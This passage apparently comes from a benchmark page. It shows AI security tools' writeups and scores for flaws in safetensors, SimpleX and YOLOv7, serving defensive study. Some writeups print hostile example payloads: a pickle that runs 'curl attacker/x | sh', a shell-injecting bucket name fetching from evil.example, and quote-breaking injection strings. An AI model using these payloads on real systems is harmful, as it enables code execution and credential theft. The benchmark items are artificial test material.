for n in 0..2^32loop and push 2^32 16-byte tuples (64 GiB). Allocation fails, and Rust's handle_alloc_error aborts the whole interpreter, which cannot be caught; otherwise the OOM killer fires. .get_slice("w")[0:1] instead produces remaining_byte_len = 2^34. PyByteArray::new_with zero-fills a 16 GiB buffer before slice.rs:310 panics. The attacker can tune the dimensions to just exceed the host's RAM. Rust consumers that get the TensorView from tensor("w") see a shape of 2^64 elements over 0 bytes, and any allocation they size from that shape is attacker-driven. - Recommendation
-
Compute the element count and byte size with checked_mul (e.g. shape.iter().try_fold(1usize, |a, &d| a.checked_mul(d))) in both validate and TensorView::new, and reject the file on overflow. In SliceIterator::new, also check that start <= stop <= shape for every slice and use checked arithmetic for offsets and spans, returning InvalidSlice instead of allocating or panicking.
Vercel Security Review
Unchecked shape multiplication admits tiny tensor allocation bombs
safetensors/src/tensor.rs:463Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Untrusted shape arithmetic wraps during validation** -
safetensors/src/tensor.rs:463-465```rust title="safetensors/src/tensor.rs:463-465"
let nelements: usize = info.shape.iter().product();
let nbytes = nelements * info.dtype.size();
if (e - s) != nbytes {
```
Attacker-controlled positive dimensions can overflow to zero in release builds, admitting an empty payload as an enormous tensor.
**2. Tensor access preserves those enormous dimensions** -
safetensors/src/tensor.rs:345-348```rust title="safetensors/src/tensor.rs:345-348"
Ok(TensorView {
dtype: info.dtype,
shape: info.shape.clone(),
data: &self.data[info.data_offsets.0..info.data_offsets.1],
```
Zero offsets allow this access to succeed with empty data.
**3. Normal inner-axis slicing exhausts memory** -
safetensors/src/slice.rs:264-267```rust title="safetensors/src/slice.rs:264-267"
for n in start..stop {
let offset = n * span;
for (old_start, old_stop) in &indices {
newindices.push((old_start + offset, old_stop + offset));
```
Narrowing an inner axis while leaving the huge outer axis unsliced eagerly allocates one index per outer row. A tiny file exhausts memory before buffer bounds are checked; debug builds instead panic during validation.
- Exploit scenario
-
Not specified.
- Recommendation
-
Use checked multiplication for every shape dimension and dtype size in Metadata::validate and TensorView::new, returning SafeTensorError on overflow. Bound slice ranges against validated shapes and buffers, and avoid eagerly materializing an unbounded number of slice indices. Add regression tests for overflowing positive shapes in both debug and release configurations.
-
PyTorch conversion utility is vulnerable to arbitrary code execution eleutherai-huggingface-safetensors-8 · 7 writeups Medium
V12
Downloaded checkpoints execute with converter privileges
bindings/python/convert.py:112Predicted severity: Critical- Root cause
-
Downloaded repository bytes cross directly into the operator process's unrestricted pickle interpreter.
map_location="cpu"controls tensor storage placement, not reducer execution or process authority. - Impact
-
A repository owner whose checkpoint is converted can execute code with the converter process's filesystem, environment, and network permissions on installations using unrestricted
torch.loaddefaults. Under the stated authenticated-Hub operator environment, that code can exercise the operator's available Hub authority; CPU placement does not restrict Python execution. This does not establish executable content in the resulting safetensors file, and rejection or failure after unpickling does not undo execution. - Description
-
convert_filepasses a downloaded checkpoint directly totorch.loadwith onlymap_location="cpu"; it does not request restricted weights loading or isolate deserialization. Both single-file and generic conversion invoke this operation before checking the loaded object, tensor contents, or output file. On unrestricted-pickle PyTorch versions, a checkpoint reducer executes in the converter process beforetorch.loadreturns, and can then return an ordinary tensor dictionary that passes subsequent checks. The package leaves thetorchextra unversioned, so a dependency default that restricts loading in newer versions is not an enforced defense for supported installations. The authenticated operator's process, rather than the eventual safetensors artifact, is the affected trust boundary.
Devin Security (Deep)
Converter unpickles weights from any Hub repo, so a malicious model runs code on the conversion host
bindings/python/convert.py:112Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who uploads a model to the Hub can run code on the machine that converts it, and take the Hugging Face token that the converter uses to open pull requests on other people's repos.
##### What's wrong
This is unsafe deserialization.
convert_filecallstorch.loadwithoutweights_only=Trueon.binand.ckptfiles it downloads from the repo being converted, andtorch.loadruns Python pickle code embedded in the file.check_final_modelthen loads the samepytorch_model.bina second time throughtransformers, which is another pickle load of the same untrusted file.##### Who can do it
Alice runs the converter (for example the public "safetensors/convert" Space named in
COMMIT_DESCRIPTION) with a token that can open pull requests on Hub repos. Mallory makes a free Hub account and uploads a repo with apytorch_model.binthat contains a pickle payload. She then asks the converter to convert her repo. The converter downloads the file and callstorch.loadon it.- Mallory owns or can write to any Hub repo. Free signup is enough.
- The converter is run on Mallory's
model_id. The public Space takes any id, and the CLI takes it as an argument.- The repo has no
.safetensorsfile yet and no open conversion PR. Otherwiseconvertstops early withAlreadyExists.- The file has a
.binor.ckptextension (generic path) or is namedpytorch_model.binor listed inpytorch_model.bin.index.json(transformers path).If the converter only ever runs on a fixed list of trusted models, such as the top 50 in
convert_all.py, Mallory first has to get her model onto that list. If it is run as the public conversion service, she reaches it directly, and the rating would be CRITICAL.##### What they get
Mallory's code runs as the converter process. She can read the Hugging Face token from the environment or the local token file. With it she can open pull requests on any repo as the trusted conversion bot, for example a PR that swaps a popular model's weights for poisoned ones. She can also read anything else on the host and use the host to attack other systems. Every repo the bot's token can reach is affected, not just Mallory's.
##### How it works
1.
convertreads the file list of Mallory's repo fromapi.model_info(convert.py:240-241) and picks the transformers path or the generic path (convert.py:258-267).2.
convert_single,convert_multi, orconvert_genericdownloads Mallory's.binor.ckptfile withhf_hub_download(convert.py:80, 103, 224).3.
convert_filecallstorch.load(pt_filename, map_location="cpu")with noweights_only=True(convert.py:116), and pickle runs Mallory's payload.4. On the transformers path,
check_final_modelcallsinfer_framework_load_model(model_id, ...)(convert.py:160), which loadspytorch_model.binfrom the Hub throughtransformersand unpickles it again. - Exploit scenario
-
Not specified.
- Recommendation
-
Call
torch.load(pt_filename, map_location="cpu", weights_only=True)so pickle can only rebuild tensors and plain containers, and require a torch version that supports it. Load the original model incheck_final_modelthe same way, or build the model from config and load the state dict withweights_only=True. Do not lettransformersunpickle the Hub file directly. Run the conversion in a sandbox with no network access to the token, for example a separate unprivileged container that only gets the token for the finalcreate_commitstep. To check the fix, make a.binwhose pickle callsos.system(seeattacks/torch_ace_create.py). Confirm thatconvert_fileraises anUnpicklingErrorand that the command never runs.
Devin Security
Conversion tool unpickles untrusted Hub model files with torch.load
bindings/python/convert.py:112Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can publish a model repo on the Hub can run code on the machine that runs this conversion tool, and can use that machine's Hub write token.
##### What's wrong
This is unsafe deserialization.
convert_filecallstorch.loadon.binand.ckptfiles downloaded from an arbitrary model repo, andtorch.loaduses Python pickle by default, which runs code embedded in the file.##### Who can do it
Alice runs the safetensors conversion service (the tool's own PR text points to a public Hugging Face Space). Mallory creates a free Hub account and uploads a
pytorch_model.binthat contains a malicious pickle. She then asks the service to convert her model, or waits for a batch run over Hub models.- Mallory controls a model repo with a
.binor.ckptfile, or apytorch_model.bin.index.jsonthat lists such files.- The operator runs
convert()on that repo id. Whether the public Space lets anyone trigger this is outside this repo; it is CRITICAL if so.##### What they get
Mallory's code runs as the conversion process. She can read the Hub token the tool uses to open PRs on other people's repos. With it she can push commits or PRs to any repo the bot can write to, including swapping weights in other users' models. She can also take over the host.
##### How it works
1.
convert()lists the repo files and picksconvert_single,convert_multi, orconvert_generic(convert.py:258-267).2. Each path downloads attacker files with
hf_hub_download(convert.py:80, 103, 224).3.
convert_filepasses the local path totorch.load(pt_filename, map_location="cpu")with noweights_only=True(convert.py:116).4. Pickle runs the attacker's
__reduce__payload during load. - Exploit scenario
-
Not specified.
- Recommendation
-
Call
torch.load(pt_filename, map_location="cpu", weights_only=True)(needs torch 1.13 or later), and run conversion in an isolated sandbox that holds no write token. Keep the token in a separate step that only uploads the produced safetensors file. To check the fix, run the tool on the pickle built byattacks/torch_ace_create.pyand confirm it raises an UnpicklingError and runs no payload.
Codex Security (GPT-6 Sol)
Converting a model can execute its publisher's code through
torch.loadbindings/python/convert.py:116Predicted severity: High- Root cause
-
The Hub weight file is lower-trust input, but
convert_filepasses it directly to PyTorch deserialization.map_location="cpu"changes placement and does not restrict pickle behavior. Size and equality checks run after loading. - Impact
-
Arbitrary code can run with the converter operator's local authority and Hub credentials when an affected PyTorch version is used.
- Description
-
The converter downloads model weights and calls
torch.loadwithout an explicitweights_onlyrestriction. On PyTorch versions with unrestricted pickle defaults, a selected model publisher can execute code in the converter process. - Exploit scenario
-
Hub model checkpoint →
hf_hub_download→convert_file→torch.load - Recommendation
-
Require a PyTorch version supporting restricted loading, pass
weights_only=Trueexplicitly, and reject non-tensor state dictionaries.
Claude Security (Sonnet 5.5)
Unsafe pickle deserialization of untrusted Hub checkpoints via torch.load without weights_only
bindings/python/convert.py:116Predicted severity: Medium- Root cause
-
Vulnerable symbol: convert_file
Preconditions: The attacker can publish or control a Hub repo with a malicious pickle checkpoint.; A victim or automated service runs the converter against that repo. This is the tool's normal purpose.; The installed torch version defaults to weights_only=False. This is the default before torch 2.6, and the call does not set it explicitly in any case.
Offending code:
loaded = torch.load(pt_filename, map_location="cpu")
- Impact
-
Arbitrary code execution on the machine or service running the converter. It can steal the HF token and any other environment secrets, and use that token to push malicious commits or PRs to other repos. It can also tamper with the generated safetensors files. Ironically, the tool exists to remove this very risk.
- Description
-
convert_file passes the local path of a pytorch_model.bin, shard or .ckpt file downloaded from an arbitrary, attacker-controllable Hub repo (convert.py:80, :103, :224) to torch.load. torch.load unpickles with no weights_only restriction, so a crafted pickle runs arbitrary code in the converter process.
- Exploit scenario
-
An attacker uploads a model repo whose pytorch_model.bin (or a .ckpt or a shard named in pytorch_model.bin.index.json) is a pickle with a __reduce__ payload. Anyone who runs
python convert.py <attacker/model>, or the hosted safetensors/convert service or convert_all.py, triggers the payload while the file is being converted. The payload runs with the converter's privileges, including the HF write token in the environment that api.create_commit uses. - Recommendation
-
Call torch.load(..., weights_only=True) so only tensors and primitives are unpickled. Alternatively, use a pickle scanner or run the conversion in a sandbox with no credentials. Run the conversion step without the HF write token, and hand the token only to the final create_commit step.
Claude Security (Opus 5.5)
Hub conversion bot unpickles untrusted checkpoints with torch.load, so any repo owner gets code execution and can steal the bot's write token
bindings/python/convert.py:116Predicted severity: High- Root cause
-
Vulnerable symbol: convert_file
Preconditions: The operator (or a service built on this script, such as the safetensors/convert Space) runs convert() on a model_id the attacker controls or influences; The checkpoint passes the cheap pre-checks: the repo has no .safetensors file and no open conversion PR
Offending code:
loaded = torch.load(pt_filename, map_location="cpu")
- Impact
-
Arbitrary code execution on the conversion host as the operator. Theft of the operator's or bot's Hugging Face write token, which reaches beyond this host to other users' Hub repositories through PRs from a trusted bot. The conversion output can also be tampered with.
- Description
-
The repo owner fully controls the checkpoint files: pytorch_model.bin (line 103), the shard names listed in weight_map of pytorch_model.bin.index.json (lines 73-80), and any *.bin/*.ckpt sibling (lines 220-224). hf_hub_download fetches them and convert_file passes them to torch.load with no weights_only=True and no restricted unpickler, so a crafted pickle runs arbitrary code during unpickling.
- Exploit scenario
-
An attacker uploads a repo to the Hub. It holds a file named pytorch_model.bin (or any *.bin / *.ckpt when library_name is not 'transformers'). The file is a pickle whose __reduce__ returns (os.system, ('curl attacker/x | sh',)). The attacker then asks for conversion. The tool advertises itself as the backend of the public 'safetensors/convert' Space, so they submit their model_id there, or they wait for the operator or convert_all.py to process the repo. convert() reaches convert_single, convert_multi or convert_generic, which calls convert_file, and torch.load runs the payload in the converter's process. The payload reads the HfApi token that create_commit uses (the env var or ~/.cache/huggingface/token). With that token the attacker can open PRs as the trusted conversion bot on any repo, and can swap the 'safe' safetensors files offered to other model owners for malicious ones.
- Recommendation
-
Never unpickle Hub content with full pickle. Use torch.load(pt_filename, map_location="cpu", weights_only=True), or a restricted Unpickler that allows only tensor and storage reconstruction, and reject anything that is not a flat dict of tensors. Run conversions in an isolated sandbox that has no network access and does not hold the write token, and do the upload from a separate trusted step. The second load in check_final_model (line 160, infer_framework_load_model(model_id, ...)) also unpickles the original checkpoint through transformers. Pin a transformers version that uses weights_only, or remove that check, so fixing line 116 does not leave a second pickle sink.
Vercel Security Review
Remote model conversion deserializes publisher-controlled pickle in-process
bindings/python/convert.py:116Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Third-party checkpoints enter the conversion process** -
bindings/python/convert.py:102-103```python title="bindings/python/convert.py:102-103"
def convert_single(model_id: str, folder: str) -> List["CommitOperationAdd"]:
pt_filename = hf_hub_download(repo_id=model_id, filename="pytorch_model.bin")
```
A publisher controls this checkpoint whenever an operator selects their model for conversion. The new CLI and bulk converter impose no publisher trust restriction.
**2. Loading executes code before tensor validation** -
bindings/python/convert.py:116-118```python title="bindings/python/convert.py:116-118"
loaded = torch.load(pt_filename, map_location="cpu")
if "state_dict" in loaded:
loaded = loaded["state_dict"]
```
On supported pickle-default PyTorch versions, such as 1.10, malicious reconstruction executes with the converter's OS privileges before these checks. CPU placement and the temporary output directory do not isolate execution from the operator's files or credentials.
- Exploit scenario
-
Not specified.
- Recommendation
-
Require a patched PyTorch version with restricted weights-only loading and explicitly request that mode; reject arbitrary-object checkpoints. Ensure final-model verification does not reload the original remote checkpoint through an unrestricted pickle loader. If unrestricted legacy conversion is necessary, run conversion and verification in a disposable, resource-limited worker without network access, credentials, or access to the operator's filesystem; upload verified outputs from a separate trusted process.
-
-
SimpleX Chat Haskell Encrypted messaging protocol implementation. Tasks 2 V12 0/2 Devin (Deep) 1/2 Devin 1/2 Codex Sec 0/2 Claude Sec 0/2 Claude Opus 0/2 Vercel 0/2
Encrypted messaging protocol implementation.
-
X3DH does not apply HKDF to generate secrets SimpleXChat-1 · 2 writeups Medium
Devin Security (Deep)
X3DH key agreement uses raw Diffie-Hellman bytes as keys without a key derivation function
simplexmq/src/Simplex/Messaging/Crypto/Ratchet.hs:106Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The keys that start every end-to-end encrypted conversation are raw slices of Diffie-Hellman output, not proper derived keys, which weakens the security margin of every new connection but gives no known practical attack today.
##### What's wrong
This is a missing key derivation step in the X3DH handshake. X3DH (the triple Diffie-Hellman handshake that seeds the double ratchet) is supposed to hash the combined Diffie-Hellman outputs through a KDF (key derivation function, such as HKDF) before using them as keys. Here
x3dhconcatenates the three raw X448 shared secrets and cuts them into pieces withB.splitAt 32. The first header key is exactly the first 32 bytes of the first shared secret. The next header key is the last 24 bytes of that same secret plus 8 bytes of the second one. The root key is the remaining 104 bytes. None of these values pass through HKDF, while the rest of the ratchet (rootKdf,chainKdf) does use HKDF-SHA512.##### Who can do it
Alice, a SimpleX user at Acme Corp, sends a one-time invitation link to Bob, and Bob joins. Their two agents run this handshake. Mallory runs an SMP relay server, or watches the network between Alice and Bob. She can store the encrypted first messages and headers of the connection. She cannot read them with any known technique, because the raw X448 output still has close to full entropy.
- Mallory can observe or store encrypted traffic for a connection.
- Mallory needs a weakness that uses the non-uniform structure of raw X448 output (an X448 output is a field element, not uniform random bytes) or the lack of domain separation between keys. No such attack is known today.
##### What they get
There is no concrete data loss today. The design loses the security guarantees X3DH normally provides. The header key and the next header key depend almost only on the first Diffie-Hellman result, not on all three. The keys are not independent outputs of a hash. So the security of message headers (the sender's ratchet key and message counters) rests on a weaker assumption than the protocol documents promise. This affects every new duplex connection created by this agent.
##### How it works
1. Bob's agent calls
x3dhSndand Alice's agent callsx3dhRcv(Ratchet.hs:98-104). Both compute the same three X448 shared secrets in the same order.2.
x3dhconcatenates the three raw secrets (Ratchet.hs:111). With X448 each secret is 56 bytes, 168 bytes in total.3.
B.splitAt 32takes bytes 0-31 as the sending header keysndHK(Ratchet.hs:111).4. A second
B.splitAt 32takes bytes 32-63 as the next header keyrcvNextHKand keeps bytes 64-167 as the root key (Ratchet.hs:112).5.
initSndRatchetandinitRcvRatchetuse these raw values directly as AES-256-GCM header keys and as the root key input torootKdf(Ratchet.hs:214-216, 237-249). - Exploit scenario
-
Not specified.
- Recommendation
-
Derive all three values from the concatenated DH outputs with HKDF. For example:
(hk, nhk, sk) = hkdf3 (B.replicate 64 '\0') (dhBytes' dh1 <> dhBytes' dh2 <> dhBytes' dh3) "SimpleXX3DH". This change breaks compatibility with peers that use the old derivation, so put it behind a newe2eEncryptVersionand negotiate it throughE2ERatchetParams. To check the fix, add a test that the header keys and root key are not substrings of any raw DH output, and keep the existingtestX3dhand ratchet round-trip tests passing for both the old and the new version.
Devin Security
X3DH uses raw DH outputs as keys with no KDF, and the root key skips the first DH
simplexmq/src/Simplex/Messaging/Crypto/Ratchet.hs:106Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Every new SimpleX connection starts its end-to-end encryption from weaker key material than the protocol requires, so anyone who gets hold of one of the receiver's two connection-setup private keys can decrypt that conversation.
##### What's wrong
This is missing key derivation in a key agreement. The
x3dhfunction joins the three raw X448 shared secrets and cuts the bytes into the header key, the next header key, and the root key withB.splitAt. It never runs them through HKDF. The SimpleX protocol (and upstream simplexmq) runshkdf3 "" dhs "SimpleXX3DH"over all three secrets. Each X448 secret is 56 bytes. So the first header key is just the first 32 bytes ofdh1. The root key is bytes 64 to 168, which come only fromdh2anddh3. Material fromdh1never reaches the root key. Raw curve output that is not uniformly random is also used directly as an AES-256-GCM key.##### Who can do it
Alice at Acme Corp creates a SimpleX invitation. Bob joins it. Mallory runs or watches the SMP relay server that carries their queue, so she sees every ciphertext. Mallory then gets Alice's second invitation key. That key is the ratchet key
rcDHRs, which the agent keeps in its database. She could get it from a stolen device backup. With the correct HKDF, she would also needdh1, which uses a different private key. With this code,dh2anddh3are enough to rebuild the root key. One leaked key is enough.- Mallory can see the encrypted traffic, for example as the relay operator or a network observer.
- Mallory gets one of the receiver's X3DH private keys (
rk2/rcDHRsfor the root key, or thedh1key pair for the header key).- An attacker with only the network position cannot break this. It removes a layer of protection and breaks the protocol's security proof.
##### What they get
With the root key, Mallory can follow the ratchet from the first message. She can then decrypt the messages in Alice's conversation that are protected by keys she can derive. Header keys taken straight from
dh1expose message metadata, such as the message counters and ratchet public keys, to anyone who learns that one secret. The damage stays inside the one connection whose key leaked. Other connections and other users are not affected.##### How it works
1.
joinConnSrvin Agent.hs:417 andsmpConfirmationin Agent.hs:1374 callx3dhSnd/x3dhRcvto set up a new connection's ratchet.2.
x3dhin Ratchet.hs:111 joins the three rawdhBytes'values and splits off the first 32 bytes as the header keyhk.3. Ratchet.hs:112 splits the rest into
nhk(the end ofdh1plus the start ofdh2) and the root keysk(the end ofdh2plus all ofdh3). No HKDF is applied.4.
initSndRatchetandinitRcvRatchetuseskas the root key andhkas the AES-GCM header key. The whole session's secrecy therefore depends on fewer DH secrets than the protocol requires, and on raw, non-uniform curve output. - Exploit scenario
-
Not specified.
- Recommendation
-
Derive all three values with HKDF over all three DH secrets. Use
(hk, nhk, sk) = hkdf3 "" (dhBytes' dh1 <> dhBytes' dh2 <> dhBytes' dh3) "SimpleXX3DH", which matches the SimpleX protocol spec and upstream simplexmq. To check the fix, add a test that changes only dh1 and confirms that all three outputs (including ratchetKey) change. Also run the ratchet test vectors against upstream to confirm the two implementations can talk to each other.
- Key material resides in unpinned memory and is not cleared after its lifetime SimpleXChat-4 Medium
-
-
YOLOv7 Python Real-time object detector. Tasks 7 V12 7/7 Devin (Deep) 5/7 Devin 4/7 Codex Sec 3/7 Claude Sec 1/7 Claude Opus 2/7 Vercel 2/7
Real-time object detector.
-
Multiple uses of subprocess.check_output with shell=True could allow command injection yolov7-1 · 2 writeups High
V12
Requirement URLs can escape pip shell quoting
utils/general.py:94Predicted severity: Informational- Root cause
-
check_requirementstreats the string representation of a parsed requirement as shell-safe and uses manual single-quote wrapping instead of a process argument list. Requirement syntax validation is not shell escaping. - Impact
-
The source-backed failure is incomplete shell quoting of a parsed requirement, with command execution possible when a crafted direct-reference requirement reaches the iterable API and dependency resolution fails. Security relevance for the shipped workflows remains unresolved: the missing fact is an external-input route to the requirement list or failing dependency metadata; the search covered all repository callers,
hubconf.py, and the stream loader's constant package list. - Description
-
check_requirementsaccepts either a requirements file or an iterable of requirement strings, then interpolatese.reqinto a single-quoted shell command if a dependency is missing or conflicting. The iterable branch preserves complete requirement strings, unlike the file branch that reduces entries to their names and specifiers. A direct-reference requirement can contain a URL with an apostrophe, so validating the package name does not ensure that the complete rendered requirement is safe inside shell quotes. For example, an absent package referenced by a URL ending ina';id;echo'can terminate the quoted pip argument and introduce another command. The repository's retrieved callers use a repository-owned requirements file or constant package names, so those callers do not establish an attacker-controlled requirement-list route.
Devin Security (Deep)
Bucket name from a resumed run's opt.yaml is pasted into gsutil shell commands in print_mutation
utils/general.py:823Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Someone who gets a researcher to resume a run folder they prepared can run shell commands through the saved bucket name, but that folder can already run code through its checkpoint file, so the extra risk is small.
##### What's wrong
This is OS command injection.
print_mutationbuildsgsutil cp %s .andgsutil cp evolve.txt %s gs://%swith the bucket name and passes them toos.system. It also callsgsutil_getsize, which runsgsutil du {url}withshell=True. The bucket name is never validated. Normally the operator types it with--bucket. On--resume, though,train.pyreplaces every option with the values in the run folder'sopt.yaml, so the bucket name and theevolveflag come from that file.##### Who can do it
Mallory shares a run folder with Alice, a researcher at Acme Corp, so Alice can "continue the hyperparameter search". The folder holds
weights/last.ptand anopt.yamlwithevolve: trueandbucket: "x; curl evil.example|sh #". Alice runspython train.py --resume run/weights/last.pt. After the first training round,print_mutationruns Mallory's command.- The victim resumes from a run folder the attacker supplied, so
opt.yamlsits two levels above the checkpoint.- That
opt.yamlsetsevolve: trueand abucketvalue that contains shell characters.- The first
train()call must finish, which means the attacker'slast.pthas already been loaded withtorch.load.##### What they get
Mallory's command runs as Alice's user account. She can copy Alice's cloud keys and Acme's datasets and models. The same run folder's
last.ptis already unpickled bytorch.loadbefore this code runs. So this path adds little beyond that risk, but it stays open if checkpoint loading is ever made safe while this string building is left unchanged.##### How it works
1.
train.py:578-583reads the resumed folder'sopt.yamland replaces all options with its values, includingbucketandevolve.2. With
evolveset,train.py:697-700runs one training round and then callsprint_mutation(..., opt.bucket).3.
utils/general.py:824-826buildsgs://<bucket>/evolve.txt, passes it togsutil_getsize(utils/google_utils.py:15,shell=True), and then toos.system('gsutil cp %s .').4.
utils/general.py:843-844runsos.system('gsutil cp evolve.txt %s gs://%s' % (yaml_file, bucket)), which also includes thesave_dir-based path fromopt.yaml. - Exploit scenario
-
Not specified.
- Recommendation
-
Validate the bucket name against the Google Cloud Storage naming rules (for example
^[a-z0-9][a-z0-9._-]{1,220}[a-z0-9]$) when options are parsed and again afteropt.yamlis loaded on resume. Replace theos.systemandshell=Truecalls withsubprocess.run(['gsutil', 'cp', src, dst], check=True)using argument lists. Do notevalgsutil output; parse it withint(). To check the fix, resume from a folder whoseopt.yamlhasevolve: trueandbucket: "x;touch /tmp/pwned", and confirm that the run fails validation and/tmp/pwnedis not created.
-
Models are stored and loaded as pickle files throughout the YOLO codebase yolov7-2 · 7 writeups High
V12
Dataset cache loading permits arbitrary code execution
utils/datasets.py:367Predicted severity: Critical- Root cause
-
An automatically discovered dataset sidecar is treated as a trusted Python serialization at
torch.load(cache_path), without an explicitly safe decoding format or restricted-loading policy. - Impact
-
Opening a malicious dataset cache on an affected supported PyTorch version executes attacker-controlled Python code with the training or evaluation process's privileges. This crosses the dataset-data boundary and can compromise files and credentials accessible to that process; an attacker must supply the cache at the derived path, not merely control a label row.
- Description
-
LoadImagesAndLabelsderives a predictable.cachepath from the supplied image-list file or labels directory and loads an existing file withtorch.load(cache_path). On supported PyTorch versions that default to unrestricted pickle loading, this reconstructs arbitrary Python objects before any cache metadata is inspected. A dataset supplier can include a crafted cache alongside otherwise valid images or an image list, causing its pickle reducer to execute when the dataset is opened. The laterresults,hash, andversionoperations cannot prevent execution during deserialization.requirements.txtpermits affected PyTorch versions and this call does not request restricted loading; applicability therefore depends on the installed PyTorch loading defaults.
Devin Security (Deep)
Dataset label cache file is unpickled with torch.load, so a shared dataset can run code on the training machine
utils/datasets.py:389Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who gives a victim a YOLO-format dataset can run code on the victim's training or evaluation machine as soon as the victim points train.py or test.py at it. The harm is limited to that one machine and whatever it can reach.
##### What's wrong
This is unsafe deserialization.
LoadImagesAndLabelslooks for a.cachefile inside the dataset folder and loads it withtorch.load, which uses Python pickle and can run arbitrary code while loading. The code never setsweights_only=True. The hash and version check that would have rejected a stale cache is commented out, but even that check would run only after the pickle has already executed.##### Who can do it
Alice, an ML engineer at Acme Corp, downloads a public YOLO dataset zip from a dataset sharing site and trains on it with
python train.py --data mydata.yaml. Mallory published that zip. She added a craftedlabels/train.cachefile next to the label text files. When Alice's dataloader starts, the cache file is loaded and Mallory's code runs as Alice's user.Conditions that must hold:
- The victim trains, tests, runs auto-anchor, or logs a dataset to W&B on a dataset folder or file list whose sibling
.cachepath the attacker controls. Examples are a downloaded dataset archive, a zip fetched through the data YAMLdownloadURL incheck_dataset, or a W&B dataset artifact.- The installed PyTorch is older than 2.6, where
torch.loadunpickles everything by default.requirements.txtallowstorch>=1.7.0, and the repo's AWS setup uses thenvcr.io/nvidia/pytorch:21.08-py3image, which ships PyTorch 1.10.- No user interaction is needed beyond starting a normal training or test run on the dataset.
##### What they get
Mallory gets code execution as Alice's account on the GPU machine. She can steal the cloud keys, W&B API key, and GitHub tokens on that host. She can then use those keys to read Acme's buckets or push to Acme's model repositories. She can also swap in backdoored model weights that Acme later ships. The damage stays within what that training machine's account can reach.
##### How it works
1. The victim passes a dataset path through the data YAML, and
create_dataloaderbuildsLoadImagesAndLabelswith it (utils/datasets.py:65-78).2. The constructor derives the cache path from the dataset itself: the list file with a
.cachesuffix, or the label folder name plus.cache(utils/datasets.py:389-390).3. If that file exists, the constructor calls
torch.load(cache_path)with noweights_onlyrestriction, which unpickles the attacker's object and runs its code (utils/datasets.py:391-392).4. The hash and version comparison that could have forced a rebuild is commented out (utils/datasets.py:393-394).
5. Without a payload, the cache contents are still used as-is: image paths, labels, and shapes come straight from the file and skip every check in
cache_labels(utils/datasets.py:406-412 and 495-499). - Exploit scenario
-
Not specified.
- Recommendation
-
Stop using pickle for the label cache. Store it in a data-only format, such as numpy .npz with allow_pickle=False or JSON plus .npy arrays. If you keep torch.load, call it with weights_only=True and allow only the exact numpy types you need. Re-enable a real integrity check: hash the label and image file paths, sizes, and modification times with SHA-256, and rebuild the cache on any mismatch or load error. Never trust a cache that you did not write yourself. To check the fix, put a .cache file whose pickle payload creates a marker file next to a test dataset's labels folder. Run a short training or test run. Confirm the marker file is never created and the cache is rebuilt or rejected.
Devin Security
hubconf custom() unpickles the given path with torch.load
hubconf.py:68Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Code that passes an untrusted file path to
custom()lets the file's author run code in that process.##### What's wrong
This is unsafe deserialization.
custom()callstorch.loadonpath_or_modelwithoutweights_only=True. It then builds a new model from the checkpoint'syaml, which also reaches theevalcalls inparse_model.##### Who can do it
Alice, an engineer at Acme Corp, calls
torch.hub.load(repo, 'custom', path_or_model='model.pt')with a file Mallory gave her. Mallory's pickle payload runs in Alice's Python process.- The caller passes a checkpoint path that the attacker controls.
##### What they get
Mallory runs code with Alice's permissions on the host.
##### How it works
1.
custom()callstorch.load(path_or_model)(hubconf.py:68).2. It calls
Model(model.yaml), which sends the embedded config toparse_model(hubconf.py:73). - Exploit scenario
-
Not specified.
- Recommendation
-
Use
weights_only=Trueor safetensors, and do not rebuild the model from a config embedded in the checkpoint. To check the fix, confirm that a crafted pickle passed tocustom()raises an error.
Codex Security (GPT-6 Sol)
Loading a dataset can execute a supplied cache file
utils/datasets.py:390Predicted severity: Medium- Root cause
-
LoadImagesAndLabelsderives a cache path from the selected dataset and trusts any existing file at that location. It callstorch.load()before checking the cache's type, provenance or freshness. - Impact
-
Code execution is high impact but requires a supplied cache and a PyTorch version or setting with unrestricted loading.
- Description
-
The dataset loader derives a sibling
.cachepath and passes any existing file totorch.load()before checking its contents. A dataset supplier can include a crafted cache that executes code on PyTorch versions permitting pickle loads. - Exploit scenario
-
dataset path -> derived
.cache->torch.load() - Recommendation
-
Store label caches in a data-only format with schema validation and regenerate legacy caches from source images and labels.
Claude Security (Sonnet 5.5)
Unsafe pickle deserialization of dataset .cache file via torch.load (RCE through a crafted dataset)
utils/datasets.py:392Predicted severity: High- Root cause
-
Vulnerable symbol: LoadImagesAndLabels.__init__
Preconditions: The victim trains or tests on a dataset directory obtained from an untrusted party that includes a planted .cache file; The installed torch version uses full-pickle torch.load by default (torch < 2.6; requirements.txt allows torch>=1.7.0). On torch >= 2.6 the default weights_only=True would reject the payload, and would also reject the legitimate numpy-array cache
Offending code:
cache, exists = torch.load(cache_path), True # load
- Impact
-
Arbitrary code execution as the user running training or evaluation. This allows theft of data and credentials, tampering with models, and persistence.
- Description
-
The label cache path is derived from the dataset location (
<list>.cachenext to a train/val txt file, or<labels dir>.cachenext to the labels folder). It is loaded with a bare torch.load(), which unpickles arbitrary objects, with no weights_only, hash or signature check. An attacker-supplied dataset can ship a malicious .cache file that runs code during loading. Also CWE-353: The label cache<dataset>.cachesits next to untrusted dataset content and is loaded with torch.load(cache_path) and no verification. The only integrity field,x['hash'] = get_hash(...), is a non-cryptographic sum of file sizes. The comparison against it is commented out at lines 393-394, and the field is discarded at line 406. Also CWE-354: The cached .cache file is loaded with torch.load. The code that would compare cache['hash'] with get_hash(...) is commented out, so no validation occurs. get_hash, which writes the 'hash' at line 518, is just the sum of file sizes (line 47), not a cryptographic digest. The persisted cache therefore has no authenticity or integrity protection, and the dataset-integrity signal is trivially defeated. - Exploit scenario
-
An attacker publishes or shares a dataset archive that contains a crafted
